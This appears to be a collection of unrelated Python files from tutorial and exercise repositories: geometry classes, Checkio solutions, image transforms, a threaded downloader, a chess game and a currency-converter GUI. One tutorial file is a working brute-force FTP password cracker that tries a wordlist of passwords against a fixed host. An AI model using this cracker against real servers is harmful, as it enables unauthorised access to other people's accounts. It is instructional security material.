:param nx: x-component of the normal vector to the plane
:param ny: y-component of the normal vector to the plane
:param nz: z-component of the normal vector to the plane
:param k: smoothing parameter
"""
Geometry3D.__init__(self, sigmoid(nx * x + ny * y + nz * z, k))
class FunctionGraph3D(Geometry3D):
def __init__(self, fxy, k=1 / 2):
"""
Defines the region that consists of the set of point (x,y,z) such that z >= f_xy(x,y)
:param fxy: function dependent of the variables (x,y) and independent of z
:param k:smoothing parameter
"""
Geometry3D.__init__(self, sigmoid(z - fxy, k))
class Ball3D(Geometry3D):
def __init__(self, x0=0, y0=0, z0=0, r_val=1, k=1 / 2):
"""
A ball in 3-dimensional space
:param x0: the x-component of the center of the ball
:param y0: the y-component of the center of the ball
:param z0: the z-component of the center of the ball
:param r_val: the radius of the ball
:param k: smoothing factor
"""
Geometry3D.__init__(self, sigmoid(r_val ** 2 - (x - x0) ** 2 - (y - y0) ** 2 - (z - z0) ** 2, k))
class Cylinder3D(Geometry3D):
def __init__(self, x0=0, y0=0, r_val=1, k=1 / 2):
"""
A cylinder in 3-dimensional space
:param x0: the x-component of the cylinder's center
:param y0: the y-component of the cylinder's center
:param r_val: the y-component of the cylinder's center
:param k: the smoothing factor
"""
Geometry3D.__init__(self, sigmoid(r_val ** 2 - (x - x0) ** 2 - (y - y0) ** 2, k))
class RevolutionSurface3D(Geometry3D):
def __init__(self, curve_eq, k=1 / 2):
"""
A surface obtained by rotating a curve around the z-axis
:param curve_eq: equation of curve in the r and z variables
:param k: smoothing parameter
"""
Geometry3D.__init__(self, sigmoid(RevolutionSurface3D.compute_f(curve_eq), k))
@staticmethod
def compute_f(curve_eq):
return curve_eq.subs({rxy: sqrt(x ** 2 + y ** 2)})
class Torus3D(RevolutionSurface3D):
def __init__(self, r_min=1, r_max=2, k=1 / 2):
"""
A torus in 3-dimensional space
:param r_min: radius of the torus circular cross sections
:param r_max: radius to the center of the torus circular cross section
:param k: smoothing parameter
"""
RevolutionSurface3D.__init__(self, r_min ** 2 - (rxy - r_max) ** 2 - z ** 2, k)
##########################
# #
# Geometry 2D #
# #
##########################
class Geometry2D(Geometry):
def __init__(self, f):
Geometry.__init__(self, f, 2)
def translated(self, dx, dy):
return Geometry2D(self.subs_2d(self.f, x - dx, y - dy))
def scaled(self, sx, sy):
return Geometry2D(self.subs_2d(self.f, x / sx, y / sy))
def rotated(self, theta):
return Geometry2D(self.subs_2d(self.f, x * cos(theta) + y * sin(theta), -x * sin(theta) + y * cos(theta)))
def translate(self, dx, dy):
self.f = self.translated(dx, dy).f
def scale(self, sx, sy):
self.f = self.scaled(sy, sx).f
def rotate(self, theta):
self.f = self.rotated(theta).f
@staticmethod
def subs_2d(f, x_new, y_new):
xx, yy = symbols("xx yy", real=True)
xx_new = x_new.subs({x: xx, y: yy})
yy_new = y_new.subs({x: xx, y: yy})
tmp = f.subs({x: xx_new, y: yy_new})
return tmp.subs({xx: x, yy: y})
class Disk2D(Geometry2D):
def __init__(self, x0=0, y0=0, r=1, k=1 / 2):
Geometry2D.__init__(self, sigmoid(r ** 2 - (x - x0) ** 2 - (y - y0) ** 2, k))
class HalfPlane2D(Geometry2D):
def __init__(self, x0, y0, x1, y1, k=1 / 2):
Geometry2D.__init__(self, sigmoid(HalfPlane2D.compute_f(x0, y0, x1, y1), k))
@staticmethod
def compute_f(x0, y0, x1, y1):
dx = x1 - x0
dy = y1 - y0
return -dy * (x - x0) + dx * (y - y0)
|
e129e980c58a0c812c96d4d862404361765cbaa6 | rafiqulislam21/python_codes | /serieWithValue.py | 660 | 4.1875 | 4 | n = int(input("Enter the last number : "))
sumVal = 0
#avoid builtin names, here sum is a built in name in python
for x in range(1, n+1, 1):
# here for x in range(1 = start value, n = end value, 1 = increasing value)
if x != n:
print(str(x)+" + ", end =" ") #this line will show 1+2+3+............
# end = " " means print will show with ount line break
sumVal = sumVal + x #this line will calculate sum 1+2+3+............
else:
print(str(x) + " = ", end=" ")#this line will show last value of series 5 = ............
sumVal = sumVal + x
print(sumVal) #this line will show final sum result of series............
|
33d35100498e40f3e2e2b175bb08908764795180 | Ascarik/Checkio | /Scientific_Expedition/14.py | 1,256 | 3.71875 | 4 | import re
def checkio(line: str) -> int:
# your code here
gl = ('A', 'E', 'I', 'O', 'U', 'Y')
sl = ('B', 'C', 'D', 'F', 'G', 'H', 'J', 'K', 'L', 'M', 'N', 'P', 'Q', 'R', 'S', 'T', 'V', 'W', 'X', 'Z')
line = line.upper()
line = re.sub("[.,!?]", " ", line)
words = line.split(sep=" ")
count = 0
for word in words:
w1 = [word[i] for i in range(0, len(word), 2)]
w2 = [word[i] for i in range(1, len(word), 2)]
if len(w1) > 0 and len(w2) > 0:
count = method_name(count, gl, sl, w1, w2)
print(count)
return count
def method_name(count, gl, sl, w1, w2):
if all(elem in sl for elem in w1) and all(elem in gl for elem in w2):
count += 1
elif all(elem in sl for elem in w2) and all(elem in gl for elem in w1):
count += 1
return count
if __name__ == "__main__":
print("Example:")
print(checkio("My name is ..."))
# These "asserts" are used for self-checking and not for an auto-testing
assert checkio("My name is ...") == 3
assert checkio("Hello world") == 0
assert checkio("A quantity of striped words.") == 1
assert checkio("Dog,cat,mouse,bird.Human.") == 3
print("Coding complete? Click 'Check' to earn cool rewards!")
|
5fe9f18569a4428aaa121c5090e53b65b820900b | Ascarik/Checkio | /home/21.py | 733 | 3.859375 | 4 | from collections.abc import Iterable
def duplicate_zeros(donuts: list[int]) -> Iterable[int]:
# your code here
l = list()
for v in donuts:
if v == 0:
l += [0, 0]
else:
l.append(v)
return l
print("Example:")
print(list(duplicate_zeros([1, 0, 2, 3, 0, 4, 5, 0])))
# These "asserts" are used for self-checking
assert list(duplicate_zeros([1, 0, 2, 3, 0, 4, 5, 0])) == [
1,
0,
0,
2,
3,
0,
0,
4,
5,
0,
0,
]
assert list(duplicate_zeros([0, 0, 0, 0])) == [0, 0, 0, 0, 0, 0, 0, 0]
assert list(duplicate_zeros([100, 10, 0, 101, 1000])) == [100, 10, 0, 0, 101, 1000]
print("The mission is done! Click 'Check Solution' to earn rewards!")
|
6b0e7d8b19429a89e3efb5e3fd1ed23a01cb08a4 | Ascarik/Checkio | /Scientific_Expedition/2.py | 871 | 3.671875 | 4 | def yaml(a):
# your code here
result = {}
list_values = a.split("\n")
for value in list_values:
if not value:
continue
key, value = value.split(":")
key, value = key.strip(), value.strip()
if value.isnumeric():
value = int(value)
result[key] = value
return result
if __name__ == '__main__':
print("Example:")
print(yaml("""name: Alex
age: 12"""))
# These "asserts" are used for self-checking and not for an auto-testing
assert {'name': 'Alex', 'age': 12} == {'age': 12, 'name': 'Alex'}
assert yaml("""name: Alex
age: 12""") == {'age': 12, 'name': 'Alex'}
assert yaml("""name: Alex Fox
age: 12
class: 12b""") == {'age': 12,
'class': '12b',
'name': 'Alex Fox'}
print("Coding complete? Click 'Check' to earn cool rewards!")
|
222fde26ceeabe38f9af3ff6da73fa3328a0ce44 | idrishkhan/IDRISHKHAN | /idrish 10.py | 71 | 3.546875 | 4 | x=int(input())
count=0
while(x>1):
x=x/10
count=count+1
print(count)
|
f390a3bee6b5ef187a5c8ab9c60091cb289862bb | MatusMaruna/Transformers | /4DV507.rd222dv.A4/ofp_example_programs/while.py | 182 | 3.625 | 4 | def sumUpTo(n):
i=1
ofp_sum=0
while i<n+1:
ofp_sum=ofp_sum+i
i=i+1
return ofp_sum
#
# Program entry point - main
#
n=10
res=sumUpTo(n)
print(res)
|
378377ffb254db27a2e823bd282124a63dfba06c | mmore500/conduit | /tests/netuit/arrange/scripts/make_ring.py | 772 | 3.671875 | 4 | #!/usr/bin/python3
"""
Generate ring graphs.
This script makes use of NetworkX to generate
ring graphs (nodes are connected in a ring).
This tool creates adjacency list files (.adj)
whose filename represent the characteristics
of the graph created.
"""
from keyname import keyname as kn
import networkx as nx
dims = [3, 10, 15, 27, 56, 99]
def make_filename(dim):
return kn.pack({
'name' : 'ring',
'ndims' : '1',
'dim0' : str(dim),
'ext' : '.adj',
})
for dim in dims:
ring = [edge for edge in zip(range(dim), range(1, dim))] + [(dim - 1, 0)]
G_ring = nx.DiGraph(ring)
with open("assets/" + make_filename(dim), "w") as file:
for line in nx.generate_adjlist(G_ring):
file.write(line + '\n')
|
407ae0b9bd3004e0655b747f9f5ffda563ae8cae | anooptrivedi/workshops-python-level2 | /list2.py | 338 | 4.21875 | 4 | # Slicing in List - more examples
example = [0,1,2,3,4,5,6,7,8,9]
print(example[:])
print(example[0:10:2])
print(example[1:10:2])
print(example[10:0:-1]) #counting from right to left
print(example[10:0:-2]) #counting from right to left
print(example[::-3]) #counting from right to left
print(example[:5:-1]) #counting from right to left |
ca7c8607e41db501f958a746028fb28040133d54 | anooptrivedi/workshops-python-level2 | /guessgame.py | 460 | 4.125 | 4 | # Number guessing game
import random
secret = random.randint(1,10)
guess = 0
attempts = 0
while secret != guess:
guess = int(input("Guess a number between 1 and 10: "))
attempts = attempts + 1;
if (guess == secret):
print("You found the secret number", secret, "in", attempts, "attempts")
quit()
elif (guess > secret):
print("Your guess is high, try again")
else:
print("Your guess is low, try again")
|
c5dae743955e135a879799766903fe1e9a6d4b1f | abhinavk99/rubik-solver | /src/solver.py | 8,055 | 3.546875 | 4 | from tkinter import Tk, Label, Button, Canvas, StringVar, Entry
from cube import Cube
class RubikSolverGUI:
def __init__(self, master):
"""Creates the GUI"""
self.master = master
master.title('Rubik Solver')
self.label = Label(master, text='Rubik Solver')
self.label.pack()
self.rand_string_button = Button(master, text='Enter randomizer string', command=self.randStringEntry)
self.rand_string_button.pack()
self.rand_scramble_button = Button(master, text='Randomly scramble cube', command=self.startRandScramble)
self.rand_scramble_button.pack()
self.solved_button = Button(master, text='Start with solved cube', command=self.startSolved)
self.solved_button.pack()
self.canvas = Canvas(master, width=400, height=350)
self.canvas.pack()
def randStringEntry(self):
"""Sets up GUI for entering the randomizer string"""
self.destroyInitButtons()
self.showEntry(self.randStringCreate)
def randStringCreate(self):
"""Creates the cube with the randomizer string"""
self.string_entry.destroy()
self.create_button.destroy()
self.rubik = Cube(self.string.get())
self.showOptions()
self.drawCube()
def startRandScramble(self):
"""Creates a randomly scrambled cube"""
self.destroyInitButtons()
self.rubik = Cube()
scramble_str = self.rubik.scramble()
self.canvas.create_text(120, 300, fill='black', font='Helvetica 13',
text=scramble_str)
self.showOptions()
self.drawCube()
def startSolved(self):
"""Starts the cube to solved state"""
self.destroyInitButtons()
self.rubik = Cube()
self.showOptions()
self.drawCube()
def showOptions(self):
"""Shows options for acting on cube"""
self.solve_button = Button(self.master, text='Solve cube', command=self.solveCube)
self.solve_button.pack()
self.new_scramble_button = Button(self.master, text='Enter move string for new cube', command=self.newCubeEntry)
self.new_scramble_button.pack()
self.add_moves_button = Button(self.master, text='Add moves to current cube', command=self.addMovesEntry)
self.add_moves_button.pack()
self.check_solved_button = Button(self.master, text='Check if cube is solved', command=self.checkCubeSolved)
self.check_solved_button.pack()
self.reset_button = Button(self.master, text='Reset cube', command=self.resetCube)
self.reset_button.pack()
self.rand_scramble_button = Button(self.master, text='Randomly scramble cube', command=self.randScramble)
self.rand_scramble_button.pack()
def solveCube(self):
"""Solves the cube"""
self.rubik.solve()
self.canvas.delete('all')
self.drawCube()
def newCubeEntry(self):
"""Sets up GUI to create a new cube with randomizer string"""
self.destroyOptions()
self.canvas.delete('all')
self.showEntry(self.randStringCreate)
def addMovesEntry(self):
"""Sets up GUI to add moves to current cube with randomizer string"""
self.destroyOptions()
self.canvas.delete('all')
self.showEntry(self.addMoves)
def addMoves(self):
"""Add moves to current cube with randomizer string"""
self.string_entry.destroy()
self.create_button.destroy()
self.canvas.delete('all')
try:
self.rubik.parse_randomizer(self.string.get())
except ValueError as e:
self.canvas.create_text(120, 300, fill='black', font='Helvetica 13',
text=str(e))
self.showOptions()
self.drawCube()
def showEntry(self, method):
"""Sets up GUI for entering randomizer string"""
self.string = StringVar()
self.canvas.delete('all')
self.string_entry = Entry(self.master, width=100, textvariable=self.string)
self.string_entry.pack()
self.create_button = Button(self.master, text='Create', command=method)
self.create_button.pack()
def checkCubeSolved(self):
"""Checks if cube is solved"""
res = 'Cube is ' + ('' if self.rubik.check_solved() else 'not ') + 'solved.'
self.canvas.delete('all')
self.canvas.create_text(120, 300, fill='black', font='Helvetica 13',
text=res)
self.drawCube()
def resetCube(self):
"""Resets the cube to solved state"""
self.rubik.reset()
self.canvas.delete('all')
self.canvas.create_text(120, 300, fill='black', font='Helvetica 13',
text='Reset cube to solved state.')
self.drawCube()
def randScramble(self):
"""Randomly scrambles the cube"""
self.rubik = Cube()
scramble_str = self.rubik.scramble()
self.canvas.delete('all')
self.canvas.create_text(120, 300, fill='black', font='Helvetica 13',
text=scramble_str)
self.drawCube()
def destroyInitButtons(self):
"""Destroys initial buttons"""
self.rand_string_button.destroy()
self.rand_scramble_button.destroy()
self.solved_button.destroy()
def destroyOptions(self):
"""Destroys options buttons"""
self.solve_button.destroy()
self.new_scramble_button.destroy()
self.add_moves_button.destroy()
self.check_solved_button.destroy()
self.reset_button.destroy()
self.rand_scramble_button.destroy()
def drawCube(self):
"""Displays cube in unfolded format (cross on its side)"""
colors = {
'o': 'orange',
'g': 'green',
'r': 'red',
'b': 'blue',
'w': 'white',
'y': 'yellow'
}
mat = self.rubik.faces['u']
for i in range(3):
self.canvas.create_rectangle(90, 30 * i, 120, 30 + 30 * i,
fill=colors[mat[i][0]])
self.canvas.create_rectangle(120, 30 * i, 150, 30 + 30 * i,
fill=colors[mat[i][1]])
self.canvas.create_rectangle(150, 30 * i, 180, 30 + 30 * i,
fill=colors[mat[i][2]])
arr = ['l', 'f', 'r']
for j in range(3):
for i in range(3):
mat = self.rubik.faces[arr[i]]
self.canvas.create_rectangle(90 * i, 90 + 30 * j,
30 + 90 * i, 120 + 30 * j, fill=colors[mat[j][0]])
self.canvas.create_rectangle(30 + 90 * i, 90 + 30 * j,
60 + 90 * i, 120 + 30 * j, fill=colors[mat[j][1]])
self.canvas.create_rectangle(60 + 90 * i, 90 + 30 * j,
90 + 90 * i, 120 + 30 * j, fill=colors[mat[j][2]])
mat = self.rubik.faces['b']
self.canvas.create_rectangle(270, 90 + 30 * j, 300, 120 + 30 * j,
fill=colors[mat[2 - j][2]])
self.canvas.create_rectangle(300, 90 + 30 * j, 330, 120 + 30 * j,
fill=colors[mat[2 - j][1]])
self.canvas.create_rectangle(330, 90 + 30 * j, 360, 120 + 30 * j,
fill=colors[mat[2 - j][0]])
mat = self.rubik.faces['d']
for i in range(3):
self.canvas.create_rectangle(90, 180 + 30 * i, 120, 210 + 30 * i,
fill=colors[mat[i][0]])
self.canvas.create_rectangle(120, 180 + 30 * i, 150, 210 + 30 * i,
fill=colors[mat[i][1]])
self.canvas.create_rectangle(150, 180 + 30 * i, 180, 210 + 30 * i,
fill=colors[mat[i][2]])
top = Tk()
my_gui = RubikSolverGUI(top)
top.minsize(600, 450)
top.mainloop()
|
00fb14c2e66e3c49102c223d3ec95266ab15cd2d | drvinceknight/agent-based-learn | /ablearn/population/agents.py | 593 | 3.875 | 4 | class Agent:
"""
A generic class for agents that will be used by the library
"""
""" INITIALIZATION """
def __init__(self, strategies=False, label=False): # The properties each agent will have.
self.strategies = strategies # Strategy the agent will use.
self.utility = 0 # Utility the agent will obtain.
self.label = label # If required a label to track a specific agent.
def increment_utility(self, amount=1): # How much their utility will increase
self.utility += float(amount) # Utility for each agent will increase in this amount.
|
ab8cacb11a83b66b3754303ddbd8b8532130f590 | igoreduardo/teste_python_junior | /teste_1240.py | 217 | 3.515625 | 4 | ncasos = int(input())
while ncasos > 0:
a,b = list(input().split())
if (len(a) >= len(b)):
if a[-len(b):] == b:
print("encaixa")
else:
print("não encaixa")
else:
print('')
ncasos -=1
|
1325e94c27e1a70f6ccaa8d12ab54900a351504e | harshajk/advent-of-code-2020 | /day01.py | 1,103 | 3.53125 | 4 | import unittest
import itertools
def day1p1(filename):
f = open(filename, "r")
entries = [int(ent) for ent in set(f.read().split("\n"))]
for ent in entries:
reqrd = 2020 - ent
if reqrd in entries:
f.close()
return reqrd * ent
return -1
def day1p2(filename):
f = open(filename, "r")
entries = [int(ent) for ent in set(f.read().split("\n"))]
permutations = itertools.permutations(entries,3)
for a, b, c in permutations:
if a + b + c == 2020:
f.close()
return a * b * c
return -1
class TestDay1(unittest.TestCase):
def test_day1p1_example(self):
result = day1p1("input/day01test.txt")
self.assertEqual(514579, result)
def test_day1p1_actual(self):
result = day1p1("input/day01.txt")
self.assertEqual(864864, result)
def test_day1p2_actual(self):
result = day1p2("input/day01.txt")
self.assertEqual(281473080, result)
if __name__ == '__main__':
unittest.main()
|
4d4336b3a33831a4a0f48faa84051ba3233aba0e | ppnbb/Python | /list.py | 119 | 3.5 | 4 | s = [1, 'four', 9, 16, 25]
print(s)
print(s[0])
print(len(s))
s[1] = 4
print(s)
del s[2]
print(s)
s.append(36)
print(s) |
f7c99be0a3edde23c91d40edbe184d7f7f6a89ca | INFOPAUL/DeepLearning_Proj2 | /activations/Tanh.py | 838 | 3.59375 | 4 | from Module import Module
class Tanh(Module):
"""Applies the element-wise function:
Tanh(x) = \tanh(x) = \frac{\exp(x) - \exp(-x)} {\exp(x) + \exp(-x)}
Shape
-----
- Input: `(N, *)` where `*` means, any number of additional dimensions
- Output: `(N, *)`, same shape as the input
Examples
--------
>>> l = nn.Tanh()
>>> input = torch.randn(2)
>>> output = l.forward(input)
"""
def __init__(self):
super().__init__()
self.input = None
def forward(self, input):
"""Forward pass for the Tanh activation function"""
self.input = input.clone()
return self.input.tanh()
def backward(self, grad):
"""Backward pass for the Tanh activation function"""
return grad.t().mul(1 - (self.input.tanh() ** 2))
|
4047cddfa36d495357e8cbe9d890406446c888ae | INFOPAUL/DeepLearning_Proj2 | /weight_initialization/xavier_uniform.py | 662 | 4 | 4 | import math
def xavier_uniform(tensor):
"""Fills the input tensor with values according to the method
described in `Understanding the difficulty of training deep feedforward
neural networks` - Glorot, X. & Bengio, Y. (2010), using a uniform
distribution. The resulting tensor will have values sampled from
Uniform(-a, a) where
a = \sqrt{\frac{6}{\text{fan\_in} + \text{fan\_out}}}
Parameters
----------
tensor: an n-dimensional tensor
Examples:
>>> w = torch.empty(3, 5)
>>> xavier_uniform(w)
"""
std = math.sqrt(6.0 / float(tensor.size(0) + tensor.size(1)))
return tensor.uniform_(-std, std) |
21947c14f2c2f197853704ac0fad4f42022be6d4 | x4nth055/pythoncode-tutorials | /machine-learning/image-transformation/reflection.py | 934 | 3.5625 | 4 | import numpy as np
import cv2
import matplotlib.pyplot as plt
# read the input image
img = cv2.imread("city.jpg")
# convert from BGR to RGB so we can plot using matplotlib
img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)
# disable x & y axis
plt.axis('off')
# show the image
plt.imshow(img)
plt.show()
# get the image shape
rows, cols, dim = img.shape
# transformation matrix for x-axis reflection
M = np.float32([[1, 0, 0 ],
[0, -1, rows],
[0, 0, 1 ]])
# transformation matrix for y-axis reflection
# M = np.float32([[-1, 0, cols],
# [ 0, 1, 0 ],
# [ 0, 0, 1 ]])
# apply a perspective transformation to the image
reflected_img = cv2.warpPerspective(img,M,(int(cols),int(rows)))
# disable x & y axis
plt.axis('off')
# show the resulting image
plt.imshow(reflected_img)
plt.show()
# save the resulting image to disk
plt.imsave("city_reflected.jpg", reflected_img) |
a1b6068223e0aaaab6976e0c06c48171254c3fbc | x4nth055/pythoncode-tutorials | /python-standard-library/using-threads/multiple_threads_using_threading.py | 1,561 | 3.609375 | 4 | import requests
from threading import Thread
from queue import Queue
# thread-safe queue initialization
q = Queue()
# number of threads to spawn
n_threads = 5
# read 1024 bytes every time
buffer_size = 1024
def download():
global q
while True:
# get the url from the queue
url = q.get()
# download the body of response by chunk, not immediately
response = requests.get(url, stream=True)
# get the file name
filename = url.split("/")[-1]
with open(filename, "wb") as f:
for data in response.iter_content(buffer_size):
# write data read to the file
f.write(data)
# we're done downloading the file
q.task_done()
if __name__ == "__main__":
urls = [
"https://cdn.pixabay.com/photo/2018/01/14/23/12/nature-3082832__340.jpg",
"https://cdn.pixabay.com/photo/2013/10/02/23/03/dawn-190055__340.jpg",
"https://cdn.pixabay.com/photo/2016/10/21/14/50/plouzane-1758197__340.jpg",
"https://cdn.pixabay.com/photo/2016/11/29/05/45/astronomy-1867616__340.jpg",
"https://cdn.pixabay.com/photo/2014/07/28/20/39/landscape-404072__340.jpg",
] * 5
# fill the queue with all the urls
for url in urls:
q.put(url)
# start the threads
for t in range(n_threads):
worker = Thread(target=download)
# daemon thread means a thread that will end when the main thread ends
worker.daemon = True
worker.start()
# wait until the queue is empty
q.join() |
650fae3372e044e73b1bed85128889758ae1f885 | x4nth055/pythoncode-tutorials | /machine-learning/shape-detection/circle_detector.py | 1,117 | 3.59375 | 4 | import cv2
import numpy as np
import matplotlib.pyplot as plt
import sys
# load the image
img = cv2.imread(sys.argv[1])
# convert BGR to RGB to be suitable for showing using matplotlib library
img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)
# make a copy of the original image
cimg = img.copy()
# convert image to grayscale
img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
# apply a blur using the median filter
img = cv2.medianBlur(img, 5)
# finds the circles in the grayscale image using the Hough transform
circles = cv2.HoughCircles(image=img, method=cv2.HOUGH_GRADIENT, dp=0.9,
minDist=80, param1=110, param2=39, maxRadius=70)
for co, i in enumerate(circles[0, :], start=1):
# draw the outer circle in green
cv2.circle(cimg,(i[0],i[1]),i[2],(0,255,0),2)
# draw the center of the circle in red
cv2.circle(cimg,(i[0],i[1]),2,(0,0,255),3)
# print the number of circles detected
print("Number of circles detected:", co)
# save the image, convert to BGR to save with proper colors
# cv2.imwrite("coins_circles_detected.png", cimg)
# show the image
plt.imshow(cimg)
plt.show() |
4cb9aea7093ea178b506ef4b522e6c8fd7bf7444 | x4nth055/pythoncode-tutorials | /python-standard-library/logging/logger_handlers.py | 630 | 3.609375 | 4 | import logging
# return a logger with the specified name & creating it if necessary
logger = logging.getLogger(__name__)
# create a logger handler, in this case: file handler
file_handler = logging.FileHandler("file.log")
# set the level of logging to INFO
file_handler.setLevel(logging.INFO)
# create a logger formatter
logging_format = logging.Formatter("%(asctime)s - %(levelname)s - %(message)s")
# add the format to the logger handler
file_handler.setFormatter(logging_format)
# add the handler to the logger
logger.addHandler(file_handler)
# use the logger as previously
logger.critical("This is a critical message!")
|
b579ca7d200ccf359ddaddbfc63bcb2523f0b3ab | x4nth055/pythoncode-tutorials | /machine-learning/image-transformation/translation.py | 768 | 3.65625 | 4 | import numpy as np
import cv2
import matplotlib.pyplot as plt
# read the input image
img = cv2.imread("city.jpg")
# convert from BGR to RGB so we can plot using matplotlib
img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)
# disable x & y axis
plt.axis('off')
# show the image
plt.imshow(img)
plt.show()
# get the image shape
rows, cols, dim = img.shape
# transformation matrix for translation
M = np.float32([[1, 0, 50],
[0, 1, 50],
[0, 0, 1]])
# apply a perspective transformation to the image
translated_img = cv2.warpPerspective(img, M, (cols, rows))
# disable x & y axis
plt.axis('off')
# show the resulting image
plt.imshow(translated_img)
plt.show()
# save the resulting image to disk
plt.imsave("city_translated.jpg", translated_img) |
a36caeefcb4d3981e146ec5be64caae06d2d8e39 | x4nth055/pythoncode-tutorials | /general/simple-math-game/simple_math_game.py | 1,015 | 3.953125 | 4 | # Imports
import pyinputplus as pyip
from random import choice
# Variables
questionTypes = ['+', '-', '*', '/', '**']
numbersRange = [num for num in range(1, 20)]
points = 0
# Hints
print('Round down to one Number after the Comma.')
print('When asked to press enter to continue, type stop to stop.\n')
# Game Loop
while True:
# Deciding and generating question
currenType = choice(questionTypes)
promptEquation = str(choice(numbersRange)) + ' ' + currenType + ' ' + str(choice(numbersRange))
solution = round(eval(promptEquation), 1)
# Getting answer from User
answer = pyip.inputNum(prompt=promptEquation + ' = ')
# Feedback and Points
if answer == solution:
points += 1
print('Correct!\nPoints: ',points)
else:
points -= 1
print('Wrong!\nSolution: '+str(solution)+'\nPoints: ',points)
# Stopping the Game
if pyip.inputStr('Press "Enter" to continue', blank=True) == 'stop':
break
# Some Padding
print('\n\n')
|
556a1ee02b0e41c666f2ded73fe84d46d177ccd0 | x4nth055/pythoncode-tutorials | /ethical-hacking/ftp-cracker/simple_ftp_cracker.py | 1,153 | 3.5625 | 4 | import ftplib
from colorama import Fore, init # for fancy colors, nothing else
# init the console for colors (for Windows)
init()
# hostname or IP address of the FTP server
host = "192.168.1.113"
# username of the FTP server, root as default for linux
user = "test"
# port of FTP, aka 21
port = 21
def is_correct(password):
# initialize the FTP server object
server = ftplib.FTP()
print(f"[!] Trying", password)
try:
# tries to connect to FTP server with a timeout of 5
server.connect(host, port, timeout=5)
# login using the credentials (user & password)
server.login(user, password)
except ftplib.error_perm:
# login failed, wrong credentials
return False
else:
# correct credentials
print(f"{Fore.GREEN}[+] Found credentials:", password, Fore.RESET)
return True
# read the wordlist of passwords
passwords = open("wordlist.txt").read().split("\n")
print("[+] Passwords to try:", len(passwords))
# iterate over passwords one by one
# if the password is found, break out of the loop
for password in passwords:
if is_correct(password):
break |
4eaba11433ea548d2f95f8e5515c1b2c5bfaf3ce | x4nth055/pythoncode-tutorials | /gui-programming/chess-game/data/classes/Piece.py | 1,897 | 3.6875 | 4 | import pygame
class Piece:
def __init__(self, pos, color, board):
self.pos = pos
self.x = pos[0]
self.y = pos[1]
self.color = color
self.has_moved = False
def move(self, board, square, force=False):
for i in board.squares:
i.highlight = False
if square in self.get_valid_moves(board) or force:
prev_square = board.get_square_from_pos(self.pos)
self.pos, self.x, self.y = square.pos, square.x, square.y
prev_square.occupying_piece = None
square.occupying_piece = self
board.selected_piece = None
self.has_moved = True
# Pawn promotion
if self.notation == ' ':
if self.y == 0 or self.y == 7:
from data.classes.pieces.Queen import Queen
square.occupying_piece = Queen(
(self.x, self.y),
self.color,
board
)
# Move rook if king castles
if self.notation == 'K':
if prev_square.x - self.x == 2:
rook = board.get_piece_from_pos((0, self.y))
rook.move(board, board.get_square_from_pos((3, self.y)), force=True)
elif prev_square.x - self.x == -2:
rook = board.get_piece_from_pos((7, self.y))
rook.move(board, board.get_square_from_pos((5, self.y)), force=True)
return True
else:
board.selected_piece = None
return False
def get_moves(self, board):
output = []
for direction in self.get_possible_moves(board):
for square in direction:
if square.occupying_piece is not None:
if square.occupying_piece.color == self.color:
break
else:
output.append(square)
break
else:
output.append(square)
return output
def get_valid_moves(self, board):
output = []
for square in self.get_moves(board):
if not board.is_in_check(self.color, board_change=[self.pos, square.pos]):
output.append(square)
return output
# True for all pieces except pawn
def attacking_squares(self, board):
return self.get_moves(board) |
5c420b7d6d0efc40dcff469f8a130259aff0ac75 | x4nth055/pythoncode-tutorials | /python-standard-library/print-variable-name-and-value/print_variable_name_and_value.py | 153 | 4.0625 | 4 | # Normal way to print variable name and value
name = "Abdou"
age = 24
print(f"name: {name}, age: {age}")
# using the "=" sign
print(f"{name=}, {age=}")
|
6b6dd3b2a888029cf3f1e9dd43f9710421778b8d | x4nth055/pythoncode-tutorials | /gui-programming/currency-converter-gui/currency_converter.py | 4,166 | 3.59375 | 4 | # importing everything from tkinter
from tkinter import *
# importing ttk widgets from tkinter
from tkinter import ttk
import requests
# tkinter message box for displaying errors
from tkinter.messagebox import showerror
API_KEY = 'put your API key here'
# the Standard request url
url = f'https://v6.exchangerate-api.com/v6/{API_KEY}/latest/USD'
# making the Standard request to the API
response = requests.get(f'{url}').json()
# converting the currencies to dictionaries
currencies = dict(response['conversion_rates'])
def convert_currency():
# will execute the code when everything is ok
try:
# getting currency from first combobox
source = from_currency_combo.get()
# getting currency from second combobox
destination = to_currency_combo.get()
# getting amound from amount_entry
amount = amount_entry.get()
# sending a request to the Pair Conversion url and converting it to json
result = requests.get(f'https://v6.exchangerate-api.com/v6/{API_KEY}/pair/{source}/{destination}/{amount}').json()
# getting the conversion result from response result
converted_result = result['conversion_result']
# formatting the results
formatted_result = f'{amount} {source} = {converted_result} {destination}'
# adding text to the empty result label
result_label.config(text=formatted_result)
# adding text to the empty time label
time_label.config(text='Last updated,' + result['time_last_update_utc'])
# will catch all the errors that might occur
# ConnectionTimeOut, JSONDecodeError etc
except:
showerror(title='Error', message="An error occurred!!. Fill all the required field or check your internet connection.")
# creating the main window
window = Tk()
# this gives the window the width(310), height(320) and the position(center)
window.geometry('310x340+500+200')
# this is the title for the window
window.title('Currency Converter')
# this will make the window not resizable, since height and width is FALSE
window.resizable(height=FALSE, width=FALSE)
# colors for the application
primary = '#081F4D'
secondary = '#0083FF'
white = '#FFFFFF'
# the top frame
top_frame = Frame(window, bg=primary, width=300, height=80)
top_frame.grid(row=0, column=0)
# label for the text Currency Converter
name_label = Label(top_frame, text='Currency Converter', bg=primary, fg=white, pady=30, padx=24, justify=CENTER, font=('Poppins 20 bold'))
name_label.grid(row=0, column=0)
# the bottom frame
bottom_frame = Frame(window, width=300, height=250)
bottom_frame.grid(row=1, column=0)
# widgets inside the bottom frame
from_currency_label = Label(bottom_frame, text='FROM:', font=('Poppins 10 bold'), justify=LEFT)
from_currency_label.place(x=5, y=10)
to_currency_label = Label(bottom_frame, text='TO:', font=('Poppins 10 bold'), justify=RIGHT)
to_currency_label.place(x=160, y=10)
# this is the combobox for holding from_currencies
from_currency_combo = ttk.Combobox(bottom_frame, values=list(currencies.keys()), width=14, font=('Poppins 10 bold'))
from_currency_combo.place(x=5, y=30)
# this is the combobox for holding to_currencies
to_currency_combo = ttk.Combobox(bottom_frame, values=list(currencies.keys()), width=14, font=('Poppins 10 bold'))
to_currency_combo.place(x=160, y=30)
# the label for AMOUNT
amount_label = Label(bottom_frame, text='AMOUNT:', font=('Poppins 10 bold'))
